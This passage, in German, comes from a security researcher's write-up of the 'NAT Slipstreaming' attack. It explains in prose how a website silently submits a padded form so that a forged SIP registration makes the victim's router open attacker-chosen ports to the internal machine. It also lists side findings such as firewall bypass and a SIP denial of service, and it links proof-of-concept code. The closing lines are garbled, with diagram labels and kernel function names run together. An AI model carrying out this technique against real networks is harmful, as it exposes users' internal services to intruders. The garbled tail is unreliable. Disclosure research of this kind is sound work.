Sobald eines dieser Ereignisse ausgelöst wird, kennen wir ein mögliches internes Subnetz, in dem wir uns befinden. Dann führen wir denselben Angriff für jede IP im Subnetz durch (z.B. 192.168.0.[2-255]) und dieses Mal mit einem präziseren Timing, um zu ermitteln, welche IP **am schnellsten** antwortet. Dies ist höchstwahrscheinlich unsere eigene (Opfer-)interne IP, da wir nicht einmal die Netzwerkschnittstelle verlassen müssen. Selbst wenn wir aus irgendeinem Grund nicht die Ersten sind, versuchen wir unseren Angriff trotzdem auf allen IPs, die im Netzwerk geantwortet haben.
## Browser-Protokollverwirrung
Sobald der Client die Paketgrößen und die interne IP-Adresse erhalten hat, erstellt er ein speziell gestaltetes Webformular, das die POST-Daten so lange auffüllt, bis wir glauben, dass das Paket fragmentiert wird. An dieser Stelle wird unser SIP-REGISTER mit der internen IP-Adresse angehängt. Das Formular wird per JavaScript ohne Zustimmung des Opfers abgeschickt. :)
[](img/pinpkt.png)
### Live-Browser-Paketänderung
Auf unserem Angriffsserver beobachten wir die eingehenden Pakete und prüfen, ob das SIP-Paket mit der öffentlichen IP-Adresse umgeschrieben wurde. Wenn nicht, teilen wir dem Client (automatisch) mit, dass sich das SIP-Paket nicht auf der erwarteten Paketgrenze befand und nicht umgeschrieben wurde, und geben die neue Grenzposition von unserem Sniffer an.
Der Clientcode passt seine Paketgröße automatisch an die neue Größe an, jedoch erst nach zwei aufeinanderfolgenden Fehlschlägen. Einige Browser (Firefox) haben manchmal eine leicht abweichende Paketgröße aufgrund der von ihnen generierten Multipart-Grenze des Formulars, die im Gegensatz zu den meisten anderen Browsern keine feste Länge hat. Meiner Erfahrung nach wird nach etwa 10 Versuchen dieselbe Größe verwendet und der Angriff gelingt.
Sobald das SIP-Paket auf der Paketgrenze landet, wird das NAT getäuscht und glaubt, es handele sich um eine legitime SIP-Registrierung von einem SIP-Client auf dem Rechner des Opfers. Sobald unser Server mit einer ordnungsgemäßen SIP-Antwort antwortet (eingebettet in eine ordnungsgemäße HTTP-Antwort, damit der Browser nichts Verdächtiges bemerkt), öffnet das NAT den Port im ursprünglichen Paket, das das Opfer gesendet hat, und der Router leitet nun **jeden vom Angreifer gewählten Port zurück zum internen Opfer – und das alles nur durch den Besuch einer Website**.
Angriff abgeschlossen. Der Angreifer kann nun auf beliebige TCP/UDP-Dienste auf dem Opfer zugreifen.
# Weitere Erkenntnisse
Diese werden bei diesem Angriff nicht verwendet, sind aber dennoch interessant und könnten möglicherweise für andere Angriffe genutzt werden.
- IP-Fragmentierung ermöglicht die vollständige Kontrolle aller Daten im IP-Datenbereich, also die vollständige Kontrolle über einen UDP-Header (einschließlich Quell-/Zielports) im übergelaufenen Paket
- Der IP-Stack des Opfers setzt die Pakete wieder zusammen und parst die Daten nicht, aber das NAT, durch das das Paket fließt, ist anfällig
- Ermöglicht die Umgehung der Browser- oder System-Firewall, da nur der UDP-Port des ursprünglichen Pakets überprüft wird, nicht des fragmentierten übergelaufenen Pakets
- DoS eines SIP-Clients durch Senden von `Expires: 0` und Entfernen des Conntrack-Eintrags für jemand anderen
- Wenn ein Port bereits belegt ist, wird der abgehörte Port erhöht, bis der Port auf 0 überläuft
- STUN hat in keinem modernen Browser eine implementierte Authentifizierung
# Download
Danke fürs Lesen! Du kannst den Proof-of-Concept-Code von meinem [NAT Slipstream GitHub](https://github.com/samyk/slipstream) herunterladen.
# Kontakt
**Ansprechpartner:** [@SamyKamkar](https://twitter.com/samykamkar)
Weitere meiner Projekte findest du unter <https://samy.pl> oder erreichst du mich möglicherweise unter <[email protected]>.
username-Feld zu erzwingen
username-Feldes gesendet, das IP-Fragmentierung und präzise Grenzkontrolle erzwingtusername-Feld wird auf die genaue TCP-Segmentgröße / Paketgrenze „gestopft“, dann wird “H.323-Paket” angehängt und über ein Webformular gesendetprocess_sip_request(...)strncasecmp(*dptr, handler->method, ...) der Handler wird abbrechen, es sei denn, die Methode (z.B. REGISTER) tritt am Anfang des Datenteils des Pakets (TCP oder UDP) auf, wie wir es oben bei INVITE gesehen haben...REGISTER ist nur ein weiterer SIP-Befehlprocess_register_request(...)nf_ct_expect_init(...) über sip_handlers initialisieren wir das Firewall-Pinhole (Port, um einer entfernten Person zu erlauben, sich wieder zu verbinden), aber wir öffnen es noch nichtnf_nat_sip_hooks -> nf_nat_sip(...) der NAT modifiziert (überschreibt) auch die interne IP-Adresse des Clients in die öffentliche IP des NATs, damit das Ziel es richtig erreichen kannsip_help_tcp(...) -> process_sip_msg(...) ->
process_sip_response(...) jetzt betrachten wir die SIP-Antwort vom SIP-Server
process_register_response(...) -> refresh_signalling_expectation(...) der Port wird vom NAT nur weitergeleitet, nachdem eine gültige SIP-Antwort vom SIP-Server gesendet wurde